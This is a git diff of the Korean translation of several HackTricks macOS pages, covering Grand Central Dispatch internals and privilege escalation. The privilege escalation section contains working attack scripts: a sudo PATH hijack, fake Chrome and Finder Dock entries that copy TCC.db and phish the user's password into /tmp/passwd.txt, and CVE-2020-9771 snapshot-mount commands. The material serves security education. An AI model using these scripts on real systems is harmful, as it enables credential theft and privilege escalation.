/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
```
Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
또는 [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps)와 같은 것을 사용하세요:
```bash
./swda getSchemes #Get all the available schemes
./swda getApps #Get all the apps declared
./swda getUTIs #Get all the UTIs
./swda getHandler --URL ftp #Get ftp handler
```
You can also check the extensions supported by an application doing:
응용 프로그램이 지원하는 확장자를 확인하려면 다음을 수행할 수 있습니다:
```
cd /Applications/Safari.app/Contents
grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,180 +4,173 @@
## Basic Information
**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware.
**Grand Central Dispatch (GCD)**, 또한 **libdispatch** (`libdispatch.dyld`)로 알려져 있으며, macOS와 iOS 모두에서 사용할 수 있습니다. 이는 Apple이 다중 코어 하드웨어에서 동시(멀티스레드) 실행을 최적화하기 위해 개발한 기술입니다.
**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores.
**GCD**는 애플리케이션이 **블록 객체** 형태로 **작업을 제출**할 수 있는 **FIFO 큐**를 제공하고 관리합니다. 디스패치 큐에 제출된 블록은 시스템에 의해 완전히 관리되는 **스레드 풀**에서 **실행됩니다**. GCD는 디스패치 큐에서 작업을 실행하기 위해 스레드를 자동으로 생성하고, 사용 가능한 코어에서 실행할 작업을 예약합니다.
> [!TIP]
> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary).
> 요약하자면, **병렬**로 코드를 실행하기 위해 프로세스는 **GCD에 코드 블록을 전송**할 수 있으며, GCD가 실행을 처리합니다. 따라서 프로세스는 새로운 스레드를 생성하지 않으며, **GCD는 자체 스레드 풀을 사용하여 주어진 코드를 실행합니다**(필요에 따라 증가하거나 감소할 수 있습니다).
This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way.
이는 병렬 실행을 성공적으로 관리하는 데 매우 유용하며, 프로세스가 생성하는 스레드 수를 크게 줄이고 병렬 실행을 최적화합니다. 이는 **큰 병렬성**(무차별 대입?)이 필요한 작업이나 메인 스레드를 차단해서는 안 되는 작업에 이상적입니다: 예를 들어, iOS의 메인 스레드는 UI 상호작용을 처리하므로, 앱이 멈추게 할 수 있는 다른 기능(검색, 웹 접근, 파일 읽기 등)은 이 방식으로 관리됩니다.
### Blocks
A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\
However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures:
블록은 **자체 포함된 코드 섹션**(값을 반환하는 인수가 있는 함수와 유사)이며, 바인드 변수를 지정할 수도 있습니다.\
그러나 컴파일러 수준에서 블록은 존재하지 않으며, `os_object`입니다. 이러한 각 객체는 두 개의 구조체로 구성됩니다:
- **block literal**:&#x20;
- It starts by the **`isa`** field, pointing to the block's class:
- `NSConcreteGlobalBlock` (blocks from `__DATA.__const`)
- `NSConcreteMallocBlock` (blocks in the heap)
- `NSConcreateStackBlock` (blocks in stack)
- It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes
- The function pointer to call
- A pointer to the block descriptor
- Block imported variables (if any)
- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags)
- It has some reserved bytes
- The size of it
- It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`)
- If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it).
- **블록 리터럴**:&#x20;
- 블록의 클래스에 포인팅하는 **`isa`** 필드로 시작합니다:
- `NSConcreteGlobalBlock` ( `__DATA.__const`의 블록)
- `NSConcreteMallocBlock` (힙의 블록)
- `NSConcreateStackBlock` (스택의 블록)
- **`flags`** (블록 설명자에 존재하는 필드를 나타냄) 및 일부 예약된 바이트가 있습니다.
- 호출할 함수 포인터
- 블록 설명자에 대한 포인터
- 가져온 블록 변수(있는 경우)
- **블록 설명자**: 크기는 존재하는 데이터에 따라 다릅니다(이전 플래그에서 나타낸 대로).
- 일부 예약된 바이트가 있습니다.
- 크기
- 일반적으로 매개변수에 필요한 공간을 알기 위해 Objective-C 스타일 서명에 대한 포인터를 가집니다(플래그 `BLOCK_HAS_SIGNATURE`).
- 변수가 참조되는 경우, 이 블록은 복사 도우미(시작 시 값을 복사) 및 해제 도우미(해제)를 가리키는 포인터도 가집니다.
### Queues
A dispatch queue is a named object providing FIFO ordering of blocks for executions.
디스패치 큐는 실행을 위한 블록의 FIFO 순서를 제공하는 명명된 객체입니다.
Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**.
블록은 실행을 위해 큐에 설정되며, 이들은 `DISPATCH_QUEUE_SERIAL``DISPATCH_QUEUE_CONCURRENT`의 두 가지 모드를 지원합니다. 물론 **직렬** 큐는 **경쟁 조건** 문제가 없으며, 블록은 이전 블록이 완료될 때까지 실행되지 않습니다. 그러나 **다른 유형의 큐는 그럴 수 있습니다**.
Default queues:
기본 큐:
- `.main-thread`: From `dispatch_get_main_queue()`
- `.libdispatch-manager`: GCD's queue manager
- `.root.libdispatch-manager`: GCD's queue manager
- `.root.maintenance-qos`: Lowest priority tasks
- `.main-thread`: `dispatch_get_main_queue()`에서
- `.libdispatch-manager`: GCD의 큐 관리자
- `.root.libdispatch-manager`: GCD의 큐 관리자
- `.root.maintenance-qos`: 최저 우선 순위 작업
- `.root.maintenance-qos.overcommit`
- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos`: `DISPATCH_QUEUE_PRIORITY_BACKGROUND`로 사용 가능
- `.root.background-qos.overcommit`
- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos`: `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`로 사용 가능
- `.root.utility-qos.overcommit`
- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.default-qos`: `DISPATCH_QUEUE_PRIORITY_DEFAULT`로 사용 가능
- `.root.background-qos.overcommit`
- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.user-initiated-qos`: `DISPATCH_QUEUE_PRIORITY_HIGH`로 사용 가능
- `.root.background-qos.overcommit`
- `.root.user-interactive-qos`: Highest priority
- `.root.user-interactive-qos`: 가장 높은 우선 순위
- `.root.background-qos.overcommit`
Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point)
각 시점에서 **어떤 스레드가 어떤 큐를 처리할지** 결정하는 것은 시스템입니다(여러 스레드가 동일한 큐에서 작업할 수 있거나 동일한 스레드가 다른 큐에서 작업할 수 있습니다).
#### Attributtes
When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue.
**`dispatch_queue_create`**로 큐를 생성할 때 세 번째 인자는 `dispatch_queue_attr_t`로, 일반적으로 `DISPATCH_QUEUE_SERIAL`(실제로는 NULL) 또는 `DISPATCH_QUEUE_CONCURRENT`로, 큐의 일부 매개변수를 제어할 수 있는 `dispatch_queue_attr_t` 구조체에 대한 포인터입니다.
### Dispatch objects
There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`:
libdispatch가 사용하는 여러 객체가 있으며, 큐와 블록은 그 중 두 가지에 불과합니다. 이러한 객체는 `dispatch_object_create`로 생성할 수 있습니다:
- `block`
- `data`: Data blocks
- `group`: Group of blocks
- `io`: Async I/O requests
- `mach`: Mach ports
- `mach_msg`: Mach messages
- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues
- `data`: 데이터 블록
- `group`: 블록 그룹
- `io`: 비동기 I/O 요청
- `mach`: Mach 포트
- `mach_msg`: Mach 메시지
- `pthread_root_queue`: pthread 스레드 풀을 가진 큐 및 작업 큐가 아님
- `queue`
- `semaphore`
- `source`: Event source
- `source`: 이벤트 소스
## Objective-C
In Objetive-C there are different functions to send a block to be executed in parallel:
Objective-C에서는 블록을 병렬로 실행하기 위해 전송하는 다양한 함수가 있습니다:
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block.
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): 디스패치 큐에서 비동기 실행을 위해 블록을 제출하고 즉시 반환합니다.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): 실행을 위해 블록 객체를 제출하고 해당 블록이 실행을 마친 후 반환합니다.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): 애플리케이션의 생애 동안 블록 객체를 한 번만 실행합니다.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): 실행을 위해 작업 항목을 제출하고 실행이 완료된 후에만 반환합니다. [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync)와 달리, 이 함수는 블록을 실행할 때 큐의 모든 속성을 존중합니다.
These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
This is the **struct of a Block**:
이 함수들은 다음 매개변수를 기대합니다: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
이것은 **블록의 구조체**입니다:
```c
struct Block {
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
};
```
And this is an example to use **parallelism** with **`dispatch_async`**:
그리고 이것은 **`dispatch_async`**와 함께 **병렬성**을 사용하는 예입니다:
```objectivec
#import <Foundation/Foundation.h>
// Define a block
void (^backgroundTask)(void) = ^{
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
};
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
}
```
## Swift
**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\
The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD.
**`libswiftDispatch`**는 원래 C로 작성된 Grand Central Dispatch (GCD) 프레임워크에 대한 **Swift 바인딩**을 제공하는 라이브러리입니다.\
**`libswiftDispatch`** 라이브러리는 C GCD API를 더 Swift 친화적인 인터페이스로 감싸, Swift 개발자가 GCD와 작업하기 쉽게 하고 직관적으로 만듭니다.
- **`DispatchQueue.global().sync{ ... }`**
- **`DispatchQueue.global().async{ ... }`**
- **`let onceToken = DispatchOnce(); onceToken.perform { ... }`**
- **`async await`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**Code example**:
```swift
import Foundation
// Define a closure (the Swift equivalent of a block)
let backgroundTask: () -> Void = {
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
}
// Entry point
autoreleasepool {
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
}
```
## Frida
The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
다음 Frida 스크립트는 **여러 `dispatch`** 함수에 후킹하고 큐 이름, 백트레이스 및 블록을 추출하는 데 사용할 수 있습니다: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash
frida -U <prog_name> -l libdispatch.js
@ -190,12 +183,11 @@ Backtrace:
0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]
[...]
```
## Ghidra
Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one.
현재 Ghidra는 ObjectiveC **`dispatch_block_t`** 구조체와 **`swift_dispatch_block`** 구조체를 이해하지 못합니다.
So if you want it to understand them, you could just **declare them**:
그래서 이들을 이해하도록 하려면, **선언**하면 됩니다:
<figure><img src="../../images/image (1160).png" alt="" width="563"><figcaption></figcaption></figure>
@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
<figure><img src="../../images/image (1163).png" alt="" width="563"><figcaption></figcaption></figure>
Then, find a place in the code where they are **used**:
그런 다음, 코드에서 이들이 **사용되는** 위치를 찾습니다:
> [!TIP]
> Note all of references made to "block" to understand how you could figure out that the struct is being used.
> "block"에 대한 모든 참조를 기록하여 구조체가 사용되고 있음을 이해하는 방법을 알아보세요.
<figure><img src="../../images/image (1164).png" alt="" width="563"><figcaption></figcaption></figure>
Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**:
변수에서 오른쪽 클릭 -> 변수 재입력 및 이 경우 **`swift_dispatch_block`**을 선택합니다:
<figure><img src="../../images/image (1165).png" alt="" width="563"><figcaption></figcaption></figure>
Ghidra will automatically rewrite everything:
Ghidra는 모든 것을 자동으로 다시 작성합니다:
<figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure>

View File

@ -1,10 +1,10 @@
# macOS Privilege Escalation
# macOS 권한 상승
{{#include ../../banners/hacktricks-training.md}}
## TCC Privilege Escalation
## TCC 권한 상승
If you came here looking for TCC privilege escalation go to:
TCC 권한 상승을 찾고 계신다면 다음으로 가세요:
{{#ref}}
macos-security-protections/macos-tcc/
@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/
## Linux Privesc
Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
**Linux/Unix에 영향을 미치는 권한 상승에 대한 대부분의 트릭은 MacOS에도 영향을 미친다는 점에 유의하세요.** 따라서 다음을 참조하세요:
{{#ref}}
../../linux-hardening/privilege-escalation/
{{#endref}}
## User Interaction
## 사용자 상호작용
### Sudo Hijacking
### Sudo 하이재킹
You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
원래 [Sudo 하이재킹 기법은 Linux 권한 상승 게시물에서 찾을 수 있습니다](../../linux-hardening/privilege-escalation/#sudo-hijacking).
그러나 macOS는 사용자가 **`sudo`**를 실행할 때 사용자의 **`PATH`**를 **유지**합니다. 즉, 이 공격을 달성하는 또 다른 방법은 피해자가 **sudo를 실행할 때** 여전히 실행할 **다른 바이너리**를 **하이재킹**하는 것입니다:
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
사용자가 터미널을 사용하는 경우 **Homebrew가 설치되어 있을 가능성이 높습니다**. 따라서 **`/opt/homebrew/bin`**에서 바이너리를 탈취할 수 있습니다.
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
### 독 사칭
### Dock Impersonation
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
일부 **소셜 엔지니어링**을 사용하여 독에서 **예를 들어 Google Chrome**을 **사칭**하고 실제로 자신의 스크립트를 실행할 수 있습니다:
{{#tabs}}
{{#tab name="Chrome Impersonation"}}
Some suggestions:
- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array.&#x20;
몇 가지 제안:
- 독에서 Chrome이 있는지 확인하고, 그런 경우 **해당 항목을 제거**하고 **동일한 위치에 가짜 Chrome 항목을 추가**하세요.&#x20;
```bash
#!/bin/sh
@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#tab name="Finder Impersonation"}}
Some suggestions:
- You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
- Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
- Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
- Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
- Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
몇 가지 제안:
- 당신은 **Finder를 Dock에서 제거할 수 없으므로**, Dock에 추가할 경우 가짜 Finder를 실제 Finder 바로 옆에 두는 것이 좋습니다. 이를 위해 **Dock 배열의 시작 부분에 가짜 Finder 항목을 추가해야 합니다**.
- 또 다른 옵션은 Dock에 배치하지 않고 그냥 여는 것입니다. "Finder가 Finder를 제어하도록 요청하고 있습니다"는 그리 이상하지 않습니다.
- 또 다른 옵션은 **비밀번호를 묻지 않고 root로 상승**하는 것으로, 끔찍한 상자를 사용하는 대신 Finder가 특권 작업을 수행하기 위해 실제로 비밀번호를 요청하도록 만드는 것입니다:
- Finder에게 **`/etc/pam.d`**에 새로운 **`sudo`** 파일을 복사하도록 요청합니다 (비밀번호를 요청하는 프롬프트는 "Finder가 sudo를 복사하고 싶어합니다"를 나타낼 것입니다).
- Finder에게 새로운 **Authorization Plugin**을 복사하도록 요청합니다 (파일 이름을 제어할 수 있으므로 비밀번호를 요청하는 프롬프트는 "Finder가 Finder.bundle을 복사하고 싶어합니다"를 나타낼 것입니다).
```bash
#!/bin/sh
@ -153,13 +148,13 @@ cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#endtabs}}
## TCC - Root Privilege Escalation
## TCC - 루트 권한 상승
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
### CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승
**모든 사용자** (특권이 없는 사용자 포함)는 타임 머신 스냅샷을 생성하고 마운트하여 해당 스냅샷의 **모든 파일에 접근**할 수 있습니다.\
필요한 **유일한 특권**은 사용되는 애플리케이션(예: `Terminal`)이 **전체 디스크 접근**(FDA) 권한(`kTCCServiceSystemPolicyAllfiles`)을 가져야 하며, 이는 관리자가 부여해야 합니다.
```bash
# Create snapshot
tmutil localsnapshot
@ -233,12 +226,11 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
보다 자세한 설명은 [**원본 보고서에서 확인할 수 있습니다**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
## 민감한 정보
## Sensitive Information
This can be useful to escalate privileges:
이는 권한 상승에 유용할 수 있습니다:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md

View File

@ -1,19 +1,18 @@
# macOS Network Services & Protocols
# macOS 네트워크 서비스 및 프로토콜
{{#include ../../banners/hacktricks-training.md}}
## Remote Access Services
## 원격 액세스 서비스
These are the common macOS services to access them remotely.\
You can enable/disable these services in `System Settings` --> `Sharing`
이들은 원격으로 액세스하기 위한 일반적인 macOS 서비스입니다.\
